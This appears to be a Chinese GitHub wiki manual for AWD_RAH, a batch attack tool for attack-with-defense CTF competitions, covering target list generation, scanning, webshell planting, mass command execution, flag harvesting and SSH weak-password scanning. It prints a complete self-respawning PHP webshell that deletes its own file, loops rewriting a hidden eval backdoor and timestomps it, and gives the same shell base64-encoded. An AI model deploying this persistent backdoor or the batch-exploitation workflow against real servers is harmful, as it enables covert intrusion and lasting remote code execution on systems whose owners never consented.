使用手册 - dr0n1/AWD_RAH GitHub Wiki
https://www.dr0n.top/posts/48fe3a65/
目标生成
使用场景:在目标扫描前如果没有下发靶机地址列表,则需要自己生成一份去扫描
ip段生成
使用场景:裁判给了一个C段(192.168.10.0),所有队伍的靶机都在这个C段中,具体ip需要自己发现
输入192.168.10.*
(用*占位)即可在程序当前运行目录下生成一个ip.txt
192.168.10.1:8080
192.168.10.2:8080
192.168.10.3:8080
192.168.10.4:8080
192.168.10.5:8080
...
...
192.168.10.251:8080
192.168.10.252:8080
192.168.10.253:8080
192.168.10.254:8080
192.168.10.255:8080
单ip多端口生成
使用场景:某些小型比赛或训练赛,为了节约资源将所有靶机映射在同一台服务器的不同端口上
然会会在程序运行目录下生成ip.txt
192.168.100.103:10000
192.168.100.103:10001
192.168.100.103:10002
192.168.100.103:10003
...
...
192.168.100.103:10297
192.168.100.103:10298
192.168.100.103:10299
192.168.100.103:10300
bugku专用
使用场景:针对线上的域名生成 例如 192-168-1-X.pvp3553.bugku.cn
按以下规则输入即可,{}
中表示生成的范围,以-
分割
192-168-1-{1-255}.pvp3553.bugku.cn
192-168-{1-2}-{1-255}.pvp3553.bugku.cn
在当前目录下生成ip.txt
192-168-1-1.pvp3553.bugku.cn
192-168-1-2.pvp3553.bugku.cn
192-168-1-3.pvp3553.bugku.cn
192-168-1-4.pvp3553.bugku.cn
...
...
192-168-1-252.pvp3553.bugku.cn
192-168-1-253.pvp3553.bugku.cn
192-168-1-254.pvp3553.bugku.cn
192-168-1-255.pvp3553.bugku.cn
目标扫描
使用场景:自己生成靶机地址或通过平台下载后,进行特征扫描来识别题目
web靶机扫描
先打开自己的web靶机,输入网页上可以看到的特征即可
pwn靶机扫描
pwn靶机也是同理,先连上自己的看看会输出什么就填什么
注意文件中的地址不能带上http
,需要是ip:port
格式
写入不死马
使用场景:发现题目的默认后门或者rce点后写入不死马
默认马
在可以rce的参数后加*
,多个参数用&连接
可写路径:一般默认为空,当某些靶机的web根目录不可写时需要手动指定,例如指定写入到/var/www/html/xxx/
(使用绝对路径)
代码执行:根据shell中的代码(例如eval或者system)来使用不同的payload
TP框架:适用于tp等框架的非常规web路径(/public)
Get传参后门:
Post传参后门:
同时会在当前目录下生成一个shell.txt
来保存记录
自定义不死马
使用场景:想写入自己自定义的不死马
当勾选这个功能后,可以自定义不死马的内容
例如一个不死马如下,密码是123456,访问的文件名是.666.php
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.666.php';
$code = '<?php if(md5($_GET["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["aa"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .666.php');
usleep(1);
}
?>
使用前需要base64编码一次(工具页中提供base64加解密功能)
PD9waHAKICAgIGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICB1bmxpbmsoX19GSUxFX18pOwogICAgJGZpbGUgPSAnLjY2Ni5waHAnOwogICAgJGNvZGUgPSAnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiKXtAZXZhbCgkX1BPU1RbImFhIl0pO30gPz4nOwogICAgd2hpbGUgKDEpewogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlKTsKICAgICAgICBzeXN0ZW0oJ3RvdWNoIC1tIC1kICIyMDE4LTEyLTAxIDA5OjEwOjEyIiAuNjY2LnBocCcpOwogICAgICAgIHVzbGVlcCgxKTsKICAgIH0KPz4=
随机文件名
使用场景:防止其他队伍监控流量进行蹭车
勾选后写入的shell的文件名,密码,连接参数随机产生
会在当前目录下生成random.txt
来保存shell记录
执行命令
使用场景:通过不死马或者其他漏洞点进行命令执行
一般shell执行命令
通过随机马执行命令
获取flag
使用场景:批量获取窗口中的flag
需要先通过执行cat /flag
或curl
获取到flag
点击获取flag按钮后,程序会自动在返回的结果中搜索包含flag{}
的值并保存到flag.txt
中
如果flag格式并不是flag{}
,则可以自定义匹配的正则表达式
提交flag
使用场景:批量获取到flag后自动访问提交接口进行提交flag
flag用*占位。多个参数用&分割。注意在设置页中设置线程数,太大容易丢包
Get方式:http://192.168.100.103:4444/api/flag?token=xxxx&flag=xxxx
Post方式:
ssh
使用场景:ssh弱口令
比如裁判下发的ssh地址为x.x.x.x:2222 密码:ctf@awd
,就可以知道所有队伍都是这个密码。而且有些比赛不设置防御时间,一开始就能连到其他队伍的ssh(这里就不得不提到某年的宁波市awd)
ssh扫描
扫描结果会保存在ssh.txt
ssh密码更改
多人
使用场景:离线环境下 局域网中队友的信息传递
其中一人先当客户端(需要先在设置中设置好参数)
然后点击启动服务
其余队友当客户端(同样要先在设置中设置好参数)
点击连接服务即可
多人交互效果:
自定义
使用场景:批量发送一些请求,例如批量上传文件
定时任务
使用场景:解放双手,自动运行
在写入不死马,执行命令,提交flag三处可以选择定时执行任务,最短1分钟执行一次
使用方法与正常操作一样,填完参数后点击定时按钮并选择时间即可
如果想取消可以关闭程序或者在全局设置中点击 管理定时任务 按钮
运行结果会保存在log/task_log.txt
注意:此功能应谨慎使用,防止发送网络流量过大!!!注意观察 shell.txt 和 task_log.txt 的内容
工具&设置
使用场景:base64,url的编码与解码,行去重与清屏
支持拖放文件
全局设置中可以切换线程数量和超时时间,并且可以选择是否记录错误日志
更新日志
V1.0.0:初始版本 V1.1.0:多种扫描方式,代码逻辑优化 V1.2.0:添加随机不死马功能,修复诺干bug
V2.1.0:70%代码重构,速度较上一代提升11倍。添加ssh和设置模块 V2.1.1:优化不死马的判断逻辑 V2.2.0:加入多人交互功能 V2.2.1:修复诺干bug V2.2.2:更新ui,加入自定义请求包功能 V2.2.3:增加全局超时设置,区分代码执行与命令执行,适应tp框架路径
V3.0.0:增加一机一码,增加错误日志,优化写入不死马/执行命令逻辑 V3.0.1:部分代码结构优化,增加定时任务功能
可能将要做的: 1:加入pwn的批量攻击 2:不止php(加入java)